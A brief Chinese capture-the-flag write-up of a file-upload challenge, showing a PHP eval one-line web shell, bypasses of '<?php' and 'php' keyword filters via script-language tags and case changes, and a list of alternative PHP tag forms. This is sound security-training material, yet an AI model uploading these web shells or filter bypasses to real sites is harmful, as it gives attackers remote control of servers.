进入题目的页面,如图所示
根据提示,可以猜测此题用的是文件上传漏洞,通过上传一句话木门,然后用菜刀连接获取服务器控制,接着查看flag.php文件即可得到flag。
一句话木门如下:
<?php @eval($_POST['Cknife']);?>
发现可以上传成功,通过查看源代码可发现上传的位置,现在通过网址访问试试:
发现过滤了<?php,这是可以试试其他的php标记写法.如:
<script language="php"> @eval($_POST['Cknife']);</script>
访问一句话木门地址,发现似乎成功了。这是用Cknife来连接试试:
连接失败,但有提示:
原来把php给过滤了,试试大小写过滤。
成功绕过。
总结:
php标记的几种写法:
<? echo ("这是一个 PHP 语言的嵌入范例\n"); ?>
<?php echo("这是第二个 PHP 语言的嵌入范例\n"); ?>
<script language="php">
echo ("这是类似 JavaScript 及 VBScript 语法
的 PHP 语言嵌入范例");
</script>
<% echo ("这是类似 ASP 嵌入语法的 PHP 范例"); %>
<? ?>和<% %>的使用需要开启php.ini文件中的short_open_tag,不然会报错
在本题中,也可以用<% %>绕过。可自行尝试。